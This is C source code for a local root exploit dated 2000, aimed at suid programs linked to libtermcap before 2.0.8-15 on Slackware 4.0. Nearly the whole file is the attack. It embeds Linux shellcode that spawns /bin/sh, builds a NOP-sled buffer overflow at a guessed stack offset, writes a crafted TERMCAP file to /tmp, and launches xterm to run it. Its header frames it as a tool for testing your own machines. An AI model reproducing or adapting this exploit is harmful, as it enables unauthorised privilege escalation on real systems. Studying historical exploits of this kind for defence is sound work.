/*
 * Local exploit for suid root programs linked to libtermcap < 2.0.8-15 
 *
 * tested with xterm and nxterm on Slackware 4.0 
 * 
 * sk8@lucid-solutions.com (slackware mods by xdr)
 *
 * Usage:
 * ./smashcap  		-default is buffer size of 4160 and offset of 1000
 *			 and seems to work on Slackware 4.0 
 *
 * Adjust offsets (somewhere between 230 - 1140) if necessary
 *
 * ./smashcap <offset> 	-buffer size defaults to 4160
 * ./smashcap <offset> <buffersize>
 *
 *
 * In order to stop script kids/opportunists, one MINOR change must be
 * made in order for this to work.  
 *
 * Use only to test your machines to show you that you must patch libtermcap.
 * Quick fix, chmod u-s ALL suid root programs linked with libtermcap.
 *
 *						- sk8 of LS
 *
 */

#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define filename "/tmp/lstermcap"
#define entry1   "xterm|"
#define DEFAULT_BUFSIZE 4160

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Linux shellcode */

long get_sp(void)
{
  __asm__("movl %esp, %eax\n");
}

int main(int argc, char *argv[])
{
  int bufsize, offset, i, fd;
  long *bufptr;
  char *ptr, *buffer, *tempbuf;

  setenv("TERMCAP", "/tmp/lstermcap", 1);


  bufsize=DEFAULT_BUFSIZE;

  if (argc > 2) bufsize=atoi(argv[2]);
  if (argc > 1) offset=atoi(argv[1]);
  else offset= 1000;


  printf("bufsize: %i\noffset: %i\n", bufsize,offset);

  if(!(buffer = malloc(bufsize)))
    {
      printf("can't allocate enough memory\n");
      exit(0);
    }
  if(!(tempbuf = malloc(bufsize+strlen(entry1) )))
    {
      printf("can't allocate enough memory\n");
      exit(0);
    }

  printf("get_sp(): 0x%x\n", get_sp());
  printf("get_sp()-offs: 0x%x\n", (get_sp()-offset) );

  ptr=buffer;
  bufptr = (long *)(buffer+2); /* align */

  for (i = 0; i < bufsize; i += 4)
    *(bufptr++) = (get_sp()-offset);

  for (i = 0; i < (bufsize/2); i++)
    buffer[i] = 0x90;

  ptr=buffer + ((bufsize/2) - strlen(shellcode)/2);
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i]; //shellcode


  ptr=ptr+24;

  *(ptr++)=0x3a;
  *(ptr++)=0x5c;


  snprintf(tempbuf, (bufsize+strlen(entry1)), "%s%s%s", entry1, buffer);
  fd = open(filename, O_WRONLY|O_CREAT|O_TRUNC, 0666);
  write (fd, tempbuf, strlen(tempbuf));
  close(fd);
  printf("made termcap\n");

  execl("/usr/X11R6/bin/xterm","xterm", 0);

}
/*                    www.hack.co.za              [2000]*/